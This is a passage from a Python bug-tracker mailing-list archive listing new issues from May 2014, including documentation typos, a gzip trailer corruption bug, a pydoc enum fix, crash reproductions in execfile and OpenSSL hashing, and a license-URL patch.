severity: normal
status: open
title: Possible Error in "Brief Tour of the Standard Library"
type: enhancement
versions: Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21554>
_______________________________________

From report at bugs.python.org  Thu May 22 21:06:06 2014
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 22 May 2014 19:06:06 +0000
Subject: [New-bugs-announce] [issue21555] gcmodule.c could use pytime.h
Message-ID: <1400785566.33.0.612618667653.issue21555@psf.upfronthosting.co.za>


New submission from Antoine Pitrou:

gcmodule.c is able to displayed elapsed time of garbage collection runs. It currently does it by poking inside the time module to call time.time() and convert it to a C double. It could instead use the new pytime.h facilities.

----------
components: Extension Modules, Library (Lib)
keywords: easy
messages: 218912
nosy: pitrou
priority: low
severity: normal
stage: needs patch
status: open
title: gcmodule.c could use pytime.h
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21555>
_______________________________________

From report at bugs.python.org  Thu May 22 22:55:07 2014
From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=)
Date: Thu, 22 May 2014 20:55:07 +0000
Subject: [New-bugs-announce] [issue21556] try to use hashtable in pickle
Message-ID: <1400792107.19.0.965541378341.issue21556@psf.upfronthosting.co.za>


New submission from Charles-Fran?ois Natali:

This patch is an attempt at making pickle use Modules/hashtable.{h,c} instead of its hash table ad-hoc implementation for its memoization table.
I'm saying attempt, because although it works correctly, some benchmarks are actually slower.
I didn't profile it, so I don't know if it's due to the hashtable implementation, function call overheads, etc.

If we manage to bring this on par with pickle's ad-hoc implementation, it would probably be interesting to replace it. If not, then we can just drop this patch :-)

Also, there might be other places in the code base which might benefit from this generic hashtable, maybe.

----------
files: pickle_use_hashtable.diff
keywords: patch
messages: 218920
nosy: haypo, neologix, pitrou, serhiy.storchaka
priority: normal
severity: normal
status: open
title: try to use hashtable in pickle
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35319/pickle_use_hashtable.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21556>
_______________________________________

From report at bugs.python.org  Thu May 22 23:33:48 2014
From: report at bugs.python.org (Chris Rebert)
Date: Thu, 22 May 2014 21:33:48 +0000
Subject: [New-bugs-announce] [issue21557] os.popen & os.system lack
	shell-related security warnings
Message-ID: <1400794428.31.0.170474236819.issue21557@psf.upfronthosting.co.za>


New submission from Chris Rebert:

Since these functions run shell commands, which is a common vector for security-related bugs (see
* http://cwe.mitre.org/data/definitions/78.html
* http://cwe.mitre.org/data/definitions/88.html
), I suggest that they should have security warning boxes analogous to the one for the `subprocess` module:
https://docs.python.org/2/library/subprocess.html#frequently-used-arguments

----------
assignee: docs at python
components: Documentation
messages: 218921
nosy: cvrebert, docs at python
priority: normal
severity: normal
status: open
title: os.popen & os.system lack shell-related security warnings
versions: Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21557>
_______________________________________

From report at bugs.python.org  Fri May 23 05:58:48 2014
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 23 May 2014 03:58:48 +0000
Subject: [New-bugs-announce] [issue21558] Fix a typo in the contextlib docs
Message-ID: <1400817528.11.0.0994185866372.issue21558@psf.upfronthosting.co.za>


New submission from Berker Peksag:

>From the code example at https://docs.python.org/3.5/library/contextlib.html#supporting-a-variable-number-of-context-managers

"if need_special resource:" (see line 4) should be "if need_special_resource:".

Related changeset: http://hg.python.org/cpython/rev/5d91d87b5969

----------
assignee: docs at python
components: Documentation
files: contextlib-typo.diff
keywords: patch
messages: 218944
nosy: berker.peksag, docs at python
priority: normal
severity: normal
stage: patch review
status: open
title: Fix a typo in the contextlib docs
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35322/contextlib-typo.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21558>
_______________________________________

From report at bugs.python.org  Fri May 23 12:34:39 2014
From: report at bugs.python.org (theme)
Date: Fri, 23 May 2014 10:34:39 +0000
Subject: [New-bugs-announce] [issue21559] OverflowError should not happen
	for integer operations
Message-ID: <1400841279.05.0.350458307747.issue21559@psf.upfronthosting.co.za>


New submission from theme:

>From the documentation at https://docs.python.org/3.4/library/exceptions.html#OverflowError all integer operations should not throw OverflowError no matter what. However, there are so many issues here that describe library functions and built-in functions doing exactly that (just search this website for OverflowError).
This might cause an expected uncaught exception that the cause cannot be deduced after reading the documentation.
There are 2 ways to fix this: either change the documentation, or change something in the core of the interpreter.
Note: I don't know what versions of python this affects, but I have tested this on python 3.4.0 on windows. (the version that was downloadable from www.python.org/downloads/)

----------
assignee: docs at python
components: Documentation, Interpreter Core
messages: 218957
nosy: docs at python, theme
priority: normal
severity: normal
status: open
title: OverflowError should not happen for integer operations
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21559>
_______________________________________

From report at bugs.python.org  Fri May 23 13:22:57 2014
From: report at bugs.python.org (Wolfgang Maier)
Date: Fri, 23 May 2014 11:22:57 +0000
Subject: [New-bugs-announce] [issue21560] gzip.write changes trailer ISIZE
	field before type	checking - corrupted gz file after trying
	to write string
Message-ID: <1400844177.32.0.625819528356.issue21560@psf.upfronthosting.co.za>


New submission from Wolfgang Maier:

I ran into this:

>>> gzout = gzip.open('test.gz','wb')
>>> gzout.write('abcdefgh') # write expects bytes not str
Traceback (most recent call last):
  File "<pyshell#2>", line 1, in <module>
    gzout.write('abcdefgh')
  File "/usr/lib/python3.4/gzip.py", line 343, in write
    self.crc = zlib.crc32(data, self.crc) & 0xffffffff
TypeError: 'str' does not support the buffer interface

>>> gzout.write(b'abcdefgh') # ok, use bytes instead
8
>>> gzout.close()

But now the file is not recognized as valid gzip format anymore (neither by the gzip module nor by external software):

>>> gzin = gzip.open('test.gz','rb')
>>> next(gzin)
Traceback (most recent call last):
  File "<pyshell#32>", line 1, in <module>
    next(gzin)
  File "/usr/lib/python3.4/gzip.py", line 594, in readline
    c = self.read(readsize)
  File "/usr/lib/python3.4/gzip.py", line 365, in read
    if not self._read(readsize):
  File "/usr/lib/python3.4/gzip.py", line 465, in _read
    self._read_eof()
  File "/usr/lib/python3.4/gzip.py", line 487, in _read_eof
    raise OSError("Incorrect length of data produced")
OSError: Incorrect length of data produced

Turns out that gzip.write increased the ISIZE field value by 8 already during the failed call with the str object, so it is now 16 instead of 8:
>>> raw = open('test.gz','rb')
>>> [n for n in raw.read()] # ISIZE is the fourth last element
[31, 139, 8, 8, 51, 46, 127, 83, 2, 255, 116, 101, 115, 116, 0, 75, 76, 74, 78, 73, 77, 75, 207, 0, 0, 80, 42, 239, 174, 16, 0, 0, 0]

in other words: gzip.GzipFile.write() leaps (and modifies) before it checks its input argument.

----------
components: Library (Lib)
messages: 218961
nosy: wolma
priority: normal
severity: normal
status: open
title: gzip.write changes trailer ISIZE field before type checking - corrupted gz file after trying to write string
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21560>
_______________________________________

From report at bugs.python.org  Fri May 23 19:27:11 2014
From: report at bugs.python.org (Andy Maier)
Date: Fri, 23 May 2014 17:27:11 +0000
Subject: [New-bugs-announce] [issue21561] help() on enum34 enumeration class
	creates only a dummy	documentation
Message-ID: <1400866031.36.0.493061688069.issue21561@psf.upfronthosting.co.za>


New submission from Andy Maier:

Using the enum34 backport of enums, the help() function on an enum class Colors displays only:


-------
Help on class Colors in module __main__:

Colors = <enum 'Colors'>
-------

Source code to reproduce:
-------
from enum import Enum # enum34 package

class Colors(Enum):
    """docstring for enumeration Colors"""
    RED = 1
    GREEN = "2"
    BLUE = [3]

help(Colors)
-------

Versions used:
  python 2.7.6
  enum34 1.0
Platform: Windows 7

I debugged the issue, found the place where it breaks down, and made a fix. However, it may well be that the fix is just a cure to a symptom, and that a better fix is possible.

Here is the fix:
In pydoc.py, class TextDoc, method docclass():
Change this code on line 1220+:
-------
            if thisclass is __builtin__.object:
                attrs = inherited
                continue
            elif thisclass is object:
                tag = "defined here"
            else:
                tag = "inherited from %s" % classname(thisclass,
                                                      object.__module__)
-------
to this, by adding the two lines marked with "added":
-------
            if thisclass is __builtin__.object:
                attrs = inherited
                continue
            elif thisclass is object:
                tag = "defined here"
            elif thisclass is None:            # <-- added
                tag = "inherited from TBD"     # <-- added
            else:
                tag = "inherited from %s" % classname(thisclass,
                                                      object.__module__)
-------

It breaks down during the last round through the 'while attrs' loop, where thisclass is None. I did not investigate why thisclass is None.

Without the fix, this causes an AttributeError to be raised by the classname() function, which then further on causes the dummy documentation to be generated.

With the fix, the help(Colors) output becomes:

-------
Help on class Colors in module __main__:

class Colors(enum.Enum)
 |  docstring for enumeration Colors
 |
 |  Method resolution order:
 |      Colors
 |      enum.Enum
 |      __builtin__.object
 |
 |  Data and other attributes defined here:
 |
 |  BLUE = <Colors.BLUE: [3]>
 |
 |  GREEN = <Colors.GREEN: '2'>
 |
 |  RED = <Colors.RED: 1>
 |
 |  ----------------------------------------------------------------------
 |  Data and other attributes inherited from TBD:
 |
 |  __members__ = {'BLUE': <Colors.BLUE: [3]>, 'GREEN': <Colors.GREEN: '2'...
-------

----------
components: Library (Lib)
files: bug1.py
messages: 218979
nosy: andymaier
priority: normal
severity: normal
status: open
title: help() on enum34 enumeration class creates only a dummy documentation
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file35327/bug1.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21561>
_______________________________________

From report at bugs.python.org  Fri May 23 20:46:56 2014
From: report at bugs.python.org (Charles Merriam)
Date: Fri, 23 May 2014 18:46:56 +0000
Subject: [New-bugs-announce] [issue21562] curses getsxy() should be curses
	getxy()
	in	https://docs.python.org/3/library/curses.html#curses.cursxy
Message-ID: <1400870816.3.0.300590440768.issue21562@psf.upfronthosting.co.za>


New submission from Charles Merriam:

https://docs.python.org/3/library/curses.html#curses.cursxy

The symbol 'getsxy' does not exist in the curses library.  The correct symbol is 'getxy'.

----------
assignee: docs at python
components: Documentation
messages: 218986
nosy: Charles.Merriam, docs at python
priority: normal
severity: normal
status: open
title: curses getsxy() should be curses getxy() in https://docs.python.org/3/library/curses.html#curses.cursxy
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21562>
_______________________________________

From report at bugs.python.org  Fri May 23 21:00:36 2014
From: report at bugs.python.org (Robert Snoeberger)
Date: Fri, 23 May 2014 19:00:36 +0000
Subject: [New-bugs-announce] [issue21563] Segv during call to
	builtin_execfile in application	embedding Python interpreter.
Message-ID: <1400871636.0.0.265957974694.issue21563@psf.upfronthosting.co.za>


New submission from Robert Snoeberger:

While embedding the Python 2.7 interpreter in an application, I have encountered a crash when the built-in function 'execfile' is invoked with one argument.

A file is attached, execfile_invoke.c, that reproduces the crash. The reproduction steps on my machine are the following:

% gcc -o execfile_invoke execfile_invoke.c -I/usr/include/python2.7 -L/usr/lib -lpthread -ldl -lutil -lm -lpython2.7 -Xlinker -export-dynamic
% ./execfile_invoke
Call execfile with one argument...
Segmentation fault
% 

I am using the following version of Python.

Python 2.7.3 (default, Mar 13 2014, 11:03:55) 
[GCC 4.7.2] on linux2

The crash appears to occur because a call to PyEval_GetGlobals returns a NULL PyObject*,

globals = PyEval_GetGlobals();

and PyDict_GetItemString is called before a NULL check is performed.

In the Python 3 function builtin_exec, globals and locals are checked for NULL. If either is NULL, an exception with message "globals and locals cannot be NULL" is set.

if (!globals || !locals) {
     PyErr_SetString(PyExc_SystemError,
            "globals and locals cannot be NULL");
   return NULL;
}

----------
files: execfile_invoke.c
messages: 218988
nosy: snoeberger
priority: normal
severity: normal
status: open
title: Segv during call to builtin_execfile in application embedding Python interpreter.
type: crash
versions: Python 2.7
Added file: http://bugs.python.org/file35329/execfile_invoke.c

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21563>
_______________________________________

From report at bugs.python.org  Fri May 23 22:45:51 2014
From: report at bugs.python.org (Ryan Calhoun)
Date: Fri, 23 May 2014 20:45:51 +0000
Subject: [New-bugs-announce] [issue21564] Declaration of EVP_MD_CTX causes
	crash when switching	between OpenSSL 0.9 and 1.0
Message-ID: <1400877951.59.0.344409625471.issue21564@psf.upfronthosting.co.za>


New submission from Ryan Calhoun:

OpenSSL, specifically libcrypto, includes functions EVP_MD_CTX_create() and EVP_MD_CTX_destroy(), such that the application code only needs to forward declare the EVP_MD_CTX* pointer type.

Declaring the EVP_MD_CTX variable type directly requires compile-time knowledge of the size of the structure. This knowledge will be wrong when compiling with headers from OpenSSL 0.9.8 and dynamically linking at run time against OpenSSL 1.0.1. Result is a SIGSEGV as follows:

(gdb) bt
#0  0x00007ffff03b71a0 in EVP_PKEY_CTX_dup () from /usr/lib64/libcrypto.so
#1  0x00007ffff03a90cd in EVP_MD_CTX_copy_ex () from /usr/lib64/libcrypto.so
#2  0x00007ffff110da8a in EVPnew (name_obj=0x7ffff7ef45a8, digest=0x0, initial_ctx=0x7ffff130fbc0, cp=0x0, len=0)
    at /home/ryan/vaas/python/2.7.6/build/src/Python-2.7.6/Modules/_hashopenssl.c:436
#3  0x00007ffff110de10 in EVP_new_md5 (self=<value optimized out>, args=<value optimized out>)
    at /home/ryan/vaas/python/2.7.6/build/src/Python-2.7.6/Modules/_hashopenssl.c:540

The attached patch updates all declarations in _hashopenssl.c to be pointers initialized by calling EVP_MD_CTX_create(). The patch is done against source version 3.4.1. I have a similar patch for version 2.7.6, but can only attach one file here?

----------
components: Extension Modules
files: EVP_MD_CTX-python3.4.patch
keywords: patch
messages: 218995
nosy: Ryan.Calhoun
priority: normal
severity: normal
status: open
title: Declaration of EVP_MD_CTX causes crash when switching between OpenSSL 0.9 and 1.0
type: crash
versions: Python 2.7, Python 3.4
Added file: http://bugs.python.org/file35330/EVP_MD_CTX-python3.4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21564>
_______________________________________

From report at bugs.python.org  Fri May 23 23:13:27 2014
From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=)
Date: Fri, 23 May 2014 21:13:27 +0000
Subject: [New-bugs-announce] [issue21565] multiprocessing: use
	contex-manager protocol for	synchronization primitives
Message-ID: <1400879607.2.0.100700742941.issue21565@psf.upfronthosting.co.za>


New submission from Charles-Fran?ois Natali:

This patch updates multiprocessing to use context-manager for locks, conditions, etc.

----------
components: Library (Lib)
files: multiprocessing_context_manager.diff
keywords: needs review, patch
messages: 219003
nosy: neologix, sbt
priority: normal
severity: normal
stage: patch review
status: open
title: multiprocessing: use contex-manager protocol for synchronization primitives
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35331/multiprocessing_context_manager.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21565>
_______________________________________

From report at bugs.python.org  Fri May 23 23:26:51 2014
From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=)
Date: Fri, 23 May 2014 21:26:51 +0000
Subject: [New-bugs-announce] [issue21566] make use of the new default
	socket.listen() backlog	argument
Message-ID: <1400880411.34.0.235990435925.issue21566@psf.upfronthosting.co.za>


New submission from Charles-Fran?ois Natali:

Follow-up to issue #21455: we can now update the stdlib to rely on the default socket listen backlog, instead of having a bazillion different values (which range from 1 to 100!).

----------
components: Library (Lib)
files: use_socket_listen_backlog.diff
keywords: needs review, patch
messages: 219005
nosy: haypo, neologix, pitrou, sbt
priority: normal
severity: normal
stage: patch review
status: open
title: make use of the new default socket.listen() backlog argument
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35332/use_socket_listen_backlog.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21566>
_______________________________________

From report at bugs.python.org  Sat May 24 00:59:43 2014
From: report at bugs.python.org (=?utf-8?q?Viktor_Sz=C3=A9pe?=)
Date: Fri, 23 May 2014 22:59:43 +0000
Subject: [New-bugs-announce] [issue21567] cannot create multipart
	alternative message with	us-ascii charset
Message-ID: <1400885983.53.0.980235742965.issue21567@psf.upfronthosting.co.za>


New submission from Viktor Sz?pe:

Python 2.7.6 (default, May 22 2014, 00:19:36)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from email.mime.multipart import MIMEMultipart
>>> new_msg = MIMEMultipart('alternative')
>>> new_msg.set_charset('us-ascii')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/opt/python/lib/python2.7/email/message.py", line 268, in set_charset
    cte(self)
  File "/opt/python/lib/python2.7/email/encoders.py", line 73, in encode_7or8bit
    orig.encode('ascii')
AttributeError: 'list' object has no attribute 'encode'
>>>


I know it is not necessary.
How come that
new_msg.set_charset('us-ascii')
works?

----------
components: email
messages: 219009
nosy: Viktor.Sz?pe, barry, r.david.murray
priority: normal
severity: normal
status: open
title: cannot create multipart alternative message with us-ascii charset
type: crash
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21567>
_______________________________________

From report at bugs.python.org  Sat May 24 04:30:05 2014
From: report at bugs.python.org (=?utf-8?b?5YuH5YiaIOe9lw==?=)
Date: Sat, 24 May 2014 02:30:05 +0000
Subject: [New-bugs-announce] [issue21568] Win32 pip doesn't use relative
	path to found	site-packages.
Message-ID: <1400898605.95.0.696955822975.issue21568@psf.upfronthosting.co.za>


New submission from ?? ?:

I want to directly copy python as a portable version.
But the pip always point to the place where it installed,
So I am asking pip use relative to found site-packages under win32.

----------
messages: 219018
nosy: ??.?
priority: normal
severity: normal
status: open
title: Win32 pip doesn't use relative path to found site-packages.
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21568>
_______________________________________

From report at bugs.python.org  Sat May 24 12:26:32 2014
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 24 May 2014 10:26:32 +0000
Subject: [New-bugs-announce] [issue21569] PEP 466: Python 2.7 What's New
	preamble changes
Message-ID: <1400927192.68.0.366242673147.issue21569@psf.upfronthosting.co.za>


New submission from Nick Coghlan:

Some proposed changes to the introductory section of the Python 2.7 What's New document. Key changes:

* I updated the Future of Python 2.x section to describe the status quo, rather than preserving the original speculation from 2010
* I added a new section to record the changes made in maintenance releases
* I moved the DeprecationWarning change down to its own section, since it is really independent of Python 2.7 being the last release

Open questions:

* the current wording makes it clear that while it's hard to get features backported, PEP 466 isn't necessarily a one time deal. I'm open to changing that to instead just describe PEP 466 as is, without saying anything about using the PEP process to get other changes backported
* I currently have the "New Features in Maintenance Releases" section near the top. Since it's hyperlinked from the "Future of Python 2.x" section anyway, perhaps I should move it towards the end instead?

It occurred to me while writing this that we'll potentially have an influx of conservative Python users reading the doc this year, as RHEL 7 and CentOS 7 become generally available, finally upgrading the default Python in that ecosystem to 2.7.

----------
assignee: ncoghlan
components: Documentation
messages: 219031
nosy: benjamin.peterson, gvanrossum, ncoghlan
priority: normal
severity: normal
status: open
title: PEP 466: Python 2.7 What's New preamble changes
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21569>
_______________________________________

From report at bugs.python.org  Sat May 24 15:55:14 2014
From: report at bugs.python.org (Brandon)
Date: Sat, 24 May 2014 13:55:14 +0000
Subject: [New-bugs-announce] [issue21570] String being confused with
	datetime.datetime object.
Message-ID: <1400939714.27.0.921682878277.issue21570@psf.upfronthosting.co.za>


New submission from Brandon:

Observe the following code:

import MySQLdb, MySQLdb.cursors, datetime
""" ... mysqlCursor is a cursor object from a connection to database from the MySQLdb module ... """
mysqlCursor.execute("SELECT NOW()")
timeRow = mysqlCursor.fetchall()
currentDateTime = datetime.datetime.strptime(timeRow[0]["NOW()"], "%Y-%m-%d %H:%M:%S")

I get the following error:

TypeError: must be string, not datetime.datetime

HOWEVER, when I cast timeRow[0]["NOW()"] to a string like: str(timeRow[0]["NOW()"]) , it works fine.

For whatever reason the Python interpreter seems to interpret the string from the row of the MySQLdb cursor result as a datetime.datetime object. I have no explanation for this, besides it looking like a date time in the format of YYYY-mm-dd HH:MM:SS. 

I have not tried this in Python 3.x, but the bug is in the latest compile of version 2.7.6 from the FTP distribution site.

----------
components: Interpreter Core
messages: 219041
nosy: brandon
priority: normal
severity: normal
status: open
title: String being confused with datetime.datetime object.
type: compile error
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21570>
_______________________________________

From report at bugs.python.org  Sat May 24 23:29:38 2014
From: report at bugs.python.org (Jan Kanis)
Date: Sat, 24 May 2014 21:29:38 +0000
Subject: [New-bugs-announce] [issue21571] Python build should check CPATH,
	C_INCLUDE_PATH for module dependencies
Message-ID: <1400966978.12.0.900228617975.issue21571@psf.upfronthosting.co.za>


New submission from Jan Kanis:

When building, pythons setup.py tries to find external sources for optional modules such as ssl, sqlite, etc. For that it searches the CFLAGS environment variable for -I options. C compilers such as gcc and clang also interpret CPATH and C_INCLUDE_PATH as extra search paths for headers/sources. Setup.py should do the same and also look in paths specified in those environment variables.

----------
components: Build
messages: 219056
nosy: JanKanis
priority: normal
severity: normal
status: open
title: Python build should check CPATH, C_INCLUDE_PATH for module dependencies
type: behavior
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21571>
_______________________________________

From report at bugs.python.org  Sun May 25 01:02:16 2014
From: report at bugs.python.org (Ned Deily)
Date: Sat, 24 May 2014 23:02:16 +0000
Subject: [New-bugs-announce] [issue21572] Use generic license web page
	rather than requiring	release-specific license pages
Message-ID: <1400972536.12.0.296163327906.issue21572@psf.upfronthosting.co.za>


New submission from Ned Deily:

Currently the "license" command for the interactive interpreter falls back to attempting to download a release-specific license URL if LICENSE.txt is not found locally.  This adds the requirement to the release process to create a release-specific license file for each release.  However, as was implemented in Issue19043, we now use a generic license page in the documentation that no longer needs to be updated for each release (http://www.python.org/psf/license/ -> https://docs.python.org/2/license.html).  Suggest changing Lib/site.py to use the generic URL as the fallback, thus eliminating the need to create a redundant downloads license page for each release.


For 2.7:
diff --git a/Lib/site.py b/Lib/site.py
--- a/Lib/site.py
+++ b/Lib/site.py
@@ -436,7 +436,7 @@
     for supporting Python development.  See www.python.org for more information.""")
     here = os.path.dirname(os.__file__)
     __builtin__.license = _Printer(
-        "license", "See http://www.python.org/%.3s/license.html" % sys.version,
+        "license", "See http://www.python.org/psf/license/",
         ["LICENSE.txt", "LICENSE"],
         [os.path.join(here, os.pardir), here, os.curdir])

For 3.x:
diff --git a/Lib/site.py b/Lib/site.py
--- a/Lib/site.py
+++ b/Lib/site.py
@@ -373,7 +373,7 @@
         dirs.extend([os.path.join(here, os.pardir), here, os.curdir])
     builtins.license = _sitebuiltins._Printer(
         "license",
-        "See http://www.python.org/download/releases/%.5s/license" % sys.version,
+        "See http://www.python.org/psf/license/",
         files, dirs)

For PEP 101:
diff --git a/pep-0101.txt b/pep-0101.txt
--- a/pep-0101.txt
+++ b/pep-0101.txt
@@ -487,8 +487,6 @@
       ___ Comment out the "This is a preview release" or the "This is a
           production release" paragraph as appropriate

-      ___ Update the license in `download/releases/X.Y.Z/license`
-
       Note, you don't have to copy any release files into this directory;
       they only live on dinsdale in the ftp directory.

----------
messages: 219062
nosy: benjamin.peterson, georg.brandl, larry, ned.deily
priority: normal
severity: normal
stage: patch review
status: open
title: Use generic license web page rather than requiring release-specific license pages
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21572>
_______________________________________

From report at bugs.python.org  Sun May 25 03:48:25 2014
From: report at bugs.python.org (Jessica McKellar)
Date: Sun, 25 May 2014 01:48:25 +0000
Subject: [New-bugs-announce] [issue21573] Clean up turtle.py code formatting
Message-ID: <1400982505.0.0.749326101789.issue21573@psf.upfronthosting.co.za>


New submission from Jessica McKellar:

Lib/turtle.py has some code formatting issues. Let's clean them up to make the module easier to read as interns start working on it this summer. Specifically:

1. Run turtle.py through a pep8 checker and fix the issues that are reasonable to fix.

2. Run turtle.py through a linter like pyflakes and fix reasonable linter issues.

3. Examine commented out code, and either remove it or open a ticket if it represents an issue that should be fixed.

4. Examine # XXX comments, and either remove them if they are no longer applicable, or open tickets for them if they still represent bugs and then remove them.

----------
assignee: jesstess
keywords: gsoc
messages: 219068
nosy: jesstess
priority: normal
severity: normal
stage: needs patch
status: open
title: Clean up turtle.py code formatting
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21573>
_______________________________________

From report at bugs.python.org  Sun May 25 11:37:01 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 25 May 2014 09:37:01 +0000
Subject: [New-bugs-announce] [issue21574] Port image types detections from
	PIL to the imghdr module
Message-ID: <1401010621.11.0.919611847501.issue21574@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

It would be good to add support of all image types which are supported in PIL to the imghdr module.

----------
components: Library (Lib)
keywords: easy
messages: 219078
nosy: Claudiu.Popa, effbot, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: Port image types detections from PIL to the imghdr module
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21574>
_______________________________________

From report at bugs.python.org  Sun May 25 14:36:25 2014
From: report at bugs.python.org (Jan-Philip Gehrcke)
Date: Sun, 25 May 2014 12:36:25 +0000
Subject: [New-bugs-announce] [issue21575] list.sort() should show arguments
	in tutorial
Message-ID: <1401021385.55.0.784639264396.issue21575@psf.upfronthosting.co.za>


New submission from Jan-Philip Gehrcke:

Currently, the tutorial for the list sort method does not show allowed arguments:


    list.sort()
        Sort the items of the list in place.

(see e.g. https://docs.python.org/3.4/tutorial/datastructures.html)

Is there a reason why we do not show the arguments there? For simplicity? One should note that a web search for Python's list methods ranks that page pretty high. We could list the defaults, as in the built-in help:

     L.sort(cmp=None, key=None, reverse=False)

And could link to https://docs.python.org/2/library/functions.html#sorted for an explanation.

----------
assignee: docs at python
components: Documentation
messages: 219085
nosy: docs at python, eric.araujo, ezio.melotti, georg.brandl, jgehrcke
priority: normal
severity: normal
status: open
title: list.sort() should show arguments in tutorial
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21575>
_______________________________________

From report at bugs.python.org  Sun May 25 15:36:49 2014
From: report at bugs.python.org (beta)
Date: Sun, 25 May 2014 13:36:49 +0000
Subject: [New-bugs-announce] [issue21576] Overwritten (custom) uuid inside
	dictionary
Message-ID: <1401025009.13.0.783307535122.issue21576@psf.upfronthosting.co.za>


New submission from beta:

Results:
Block: 2d = {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 0} same as {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 0}
Block: 2e = {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 0} same as {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 0}
Block: 2f = {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 0} same as {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 0}
Block: 8c = {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 1} same as {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 1}
Block: 8d = {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 1} same as {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 1}
Block: 4e = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 2} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 2}
Block: 4f = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 2} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 2}
Block: 4g = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 2} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 2}
Block: 4h = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 2} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 2}
Block: 6d = {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 3} same as {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 3}
Block: 6e = {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 3} same as {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 3}
Block: d3 = {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 4} same as {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 4}
Block: d4 = {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 4} same as {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 4}
Block: d5 = {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 4} same as {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 4}
Block: 10h = {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5} same as {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5}
Block: 10i = {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5} same as {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5}
Block: 10j = {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5} same as {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5}
Block: j3 = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 6} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 6}
Block: j4 = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 6} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 6}
